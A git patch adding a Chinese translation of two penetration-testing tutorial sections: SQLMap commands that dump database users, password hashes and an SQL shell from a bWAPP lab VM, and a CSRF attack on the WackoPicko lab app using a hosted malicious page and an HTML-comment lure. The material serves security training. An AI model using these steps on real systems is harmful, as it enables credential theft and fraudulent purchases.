From 1509f9e70b14eab7b59eca5aefdee8ea08def5e3 Mon Sep 17 00:00:00 2001 From: wizardforcel <562826179@qq.com> Date: Wed, 19 Oct 2016 10:14:25 +0800 Subject: [PATCH] 7.5~6 --- ch7.md | 171 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 171 insertions(+) diff --git a/ch7.md b/ch7.md index 39f7b0f..80d26c1 100644 --- a/ch7.md +++ b/ch7.md @@ -335,3 +335,174 @@ BeEF 有许多其它攻击和模块,对渗透测试者非常实用,如果你 还有另一种类型的盲注,它是基于时间的 SQL 盲注。其中我们没有可视化的线索,关于命令是否被执行(就像有效或者无效的账户信息)。反之,我们需要给数据库发送`sleep`命令,如果响应时间鲳鱼我们发送的时间,那么它就是真的响应。这类型的攻击非常缓慢,因为它有时需要等待 30 秒来获得仅仅一个字符。拥有类似 sqlninja 或者 SQLMap 的工具在这种情况下十分有用(`https://www.owasp.org/index.php/Blind_SQL_Injection`)。 +## 7.5 使用 SQLMap 获得数据库信息 + +在第六章中,我们使用了 SQLMap 来从数据库提取信息和表的内容。这非常实用,但是这不仅仅是这个工具的优势,也不是最有趣的事情。这个秘籍中,我们会将其用于提取关于数据库用户和密码的信息,这可以让我们访问整个系统,而不仅仅是应用。 + +### 操作步骤 + +1. 启动 Bee-box 虚拟机之后,将 BurpSuite 监听用做代理,登录和选择 SQL 注入漏洞(POST/Search)。 + +2. 输入任何电影名称并点击`Search`。 + +3. 现在让我们访问 BuirpSuite 并查看请求: + + ![](img/7-5-1.jpg) + +4. 现在,在 Kali 中访问终端并输入以下命令: + + ``` + sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba + ``` + + ![](img/7-5-2.jpg) + + 我们可以看到注入成功了。当前的用户是 DBA,这意味着用户可以对数据库执行管理员操作,例如添加用户和修改密码。 + +5. 现在我们打算提取更多信息,例如用户和密码,所以在终端中输入以下命令: + + ``` + sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords + ``` + + ![](img/7-5-3.jpg) + + 我们现在得到了数据库的用户列表以及哈希后的密码。 + +6. 我们也可以获得 shell,让我们能够直接发送 SQL 查询到数据库。 + + ``` + sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell + ``` + + ![](img/7-5-4.jpg) + +### 工作原理 + +一旦我们知道了存在 SQL 注入,我们使用 SQLMap 来利用它,像这样: + +``` +sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba +``` + +在这个对 SQLMap 的调动中,我们使用了`--cookie`参数来发送会话 Cookie 因为应用需要身份验证来访问`sqli_6.php `页面。`--data`参数包含发送到服务器的 POST 数据,`=p`告诉 SQLMap 仅仅注入`title`参数,`--is-dba`询问数据库当前用户是否拥有管理员权限。 + +DBA 允许我们向数据库询问其他用户的信息,SQLMap 通过`--users`和`--passwords`使我们的操作变得更加容易。这些参数询问用户名和密码,因为所有 DBMS 将用户的密码加密存储,我们获得的只能是哈希。所以我们仍然要使用密码破解器来破解它们。如果你在 SQLMap 询问你执行字典攻击的时候回答`Yes`,你可能就知道了至少一个用户的密码。 + +我们也使用了`--sql-shell`选项来从我们向数据库发送的 SQL 查询中获得 shell。这并不是真的 shell,当然,SQLMap 通过 SQL 注入发送我们写的命令,并返回这些查询的结果。 + +## 7.6 执行 CSRF 攻击 + +CSRF 攻击强迫身份验证后的用户在 Web 应用中执行需要身份验证的,非预期的行为。这可以通过用户所浏览的外部站点触发该行为来实现。 + +这个秘籍中,我们会获取应用中的信息,来观察攻击站点是否能够发送有效的请求给漏洞服务器。之后,我们会创建页面来模拟正常请求并诱使用户在身份验证后访问这个页面。恶意页面之后会发送请求给漏洞服务器,如果应用在相同浏览器中打开,它会执行操作,好像用户发送了它们。 + +### 准备 + +为了执行 CSRF 攻击,我们使用 vulnerable_vm 中的 WackoPicko 应用:`http://192.168.56.102/WackoPicko`。我们需要两个用户,一个叫做`v_user`,是受害者,另一个叫做`attacker`。 + +我们也需要启动 BurpSuite 并将其配置为服务器的代理。 + +### 操作步骤 + +1. 作为`attacker`登录 WackoPicko。 + +2. 攻击者首先需要了解应用的行为,所以如果我们发酸使用户购买我们的图片,将 BurpSuite 用作代理,我们需要浏览:` http://192.168.56.102/WackoPicko/pictures/recent.php `。 + +3. 选项 ID 为 8 的图片:` http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8`。 + +4. 点击`Add to Cart`。 + +5. 会花费我们 10 个 Tradebux,但这是值得的,所以点击` Continue to Confirmation`。 + +6. 在下一页上,点击`Purchase`。 + +7. 现在,让我们访问 BurpSuite 来分析发生了什么。 + + 第一个有趣的调用是`/WackoPicko/cart/action. php?action=add&picid=8 `,它是添加图片到购物车的请求。`/WackoPicko/cart/confirm.php`在我们点击相应按钮时调用,它可能必须用于购买。另一个可被攻击者利用的是购买操作的 POST 调用:`/WackoPicko/cart/action. php?action=purchase`,他告诉应用将图片添加到购物车中并收相应的 Tradebux。 + + ![](img/7-6-1.jpg) + +8. 现在,攻击者需要上传图片来强迫其它用户购买。登录为`attacker`之后,访问`Upload`,填充所需信息,选项需要上传的文件,点击`UploadFile`。 + + ![](img/7-6-2.jpg) + + 一旦图片呗上传,我们会直接重定向到它的相应页面,你可以在这里看到: + + ![](img/7-6-3.jpg) + + 要注意为图片分配的 ID,它是攻击的核心部分,这里它是 16。 + +9. 一旦我们分析了购买流程,并拥有了图片 ID,我们需要启动托管恶意页面的服务器。在 Kali 中以 root 用户启动 Apache 服务器,像这样: + + ``` + service apache2 start + ``` + +0. 之后,创建 HTML 文件,叫做`/var/www/html/wackopurchase.html`,带有如下内容: + + ```html + + + +

Error 404: Not found

+ + + + + ``` + + 这个代码会我们的商品的发送`add`、`review`和`confirm`请求给 WackoPicko ,之后展示 404 页面给用户,当它加载完成后,它会重定向到购买操作,之后在一秒后关闭窗口。 + +1. 现在以`v_user`登录,上传图片并登出。 + +2. 作为攻击者,我们需要确保用户访问我们的恶意站点,同时仍然保持登录 WackoPicko。以`attacker`登录之后,访问`Recent`并选择属于`v_user`的图片(刚刚上传的那个)。 + +3. 我们需要在图片上输入下列评论。 + + ```html + This image looks a lot like this + ``` + + > 译者注:这一步的前提是页面上存在 XSS,没有的话利用社会工程直接发送链接也是可行的。 + +4. 点击`Preview`之后`Create`。 + + ![](img/7-6-4.jpg) + + 你可以看到,评论中允许HTML 代码,而且当`v_user`点击链接是,我们的恶意页面会在新窗口打开。 + +5. 登出并以`v_user`登录。 + +6. 访问`Home`并点击` Your Purchased Pics`,这里应该没有攻击者的图片。 + +7. 再次访问`Home`,之后访问` Your Uploaded Pics`。 + +8. 选项带有攻击者评论的图片。 + +9. 点击评论中的链接。 + + ![](img/7-6-5.jpg) + + 当它完全加载之后,你应该看到文本框中的一些 WackoPicko 的文本,这个窗口会在一秒之后关闭,我们的攻击已经完成了。 + +0. 如果我们访问`Home`,你可以看到`v_user`的 Tradebux 余额现在是 85。 + + ![](img/7-6-6.jpg) + +1. 现在访问`Your Purchased Pics`:` http://192.168.56.102/WackoPicko/ pictures/purchased.php `来查看非预期购买的图片: + + ![](img/7-6-5.jpg) + +对于 CSRF 工具者,成功执行漏洞需要预置条件。首先,我们需要了解执行特殊操作所需的请求参数,以及我们需要在所有情况中都处理的响应。 + +这个秘籍中,我们使用了代理和有效用户账户来执行我们所需的操作,来复制和收集所需信息:购买过程中涉及到的请求,这些请求所需的信息,以及执行它们的正确顺序。 + +一旦我们知道了需要向应用发送什么,我们需要将其自动化,所以我们启动 Web 服务器,并准备页面使调用以正确顺序和正确参数执行。通过使用 `onLoad` JS 时间,我们确保购买在`add`和`confirm`调用之前不会执行。 + +在每个 CSRF 攻击中,都必须有方法让用户访问我们的恶意站点,同时保持正常站点的登录。这个秘籍中,我们使用应用的特性,它的评论允许 HTML 代码,并可以在这里输入链接。所以当用户点击某个图片评论中的链接时,它就向我们的 Tradebox 盗取站点发送了请求。 + +最后,当用户访问我们的站点时,它模拟了错误页面,并在购买请求刚刚完成后关闭自己。在这里我们并不需要担心渗透,所以错误页面可以改进一下使用户不怀疑它。这通过 HTML `body`标签中的`onload`事件中的 JavaScript 命令(购买操作的调用,和用于关闭窗口的计时器)来完成。这个时间在页面的所有元素完全加载之后触发,换句话说,当`add`、`review`和`confirm`的步骤完成之后。 -- GitLab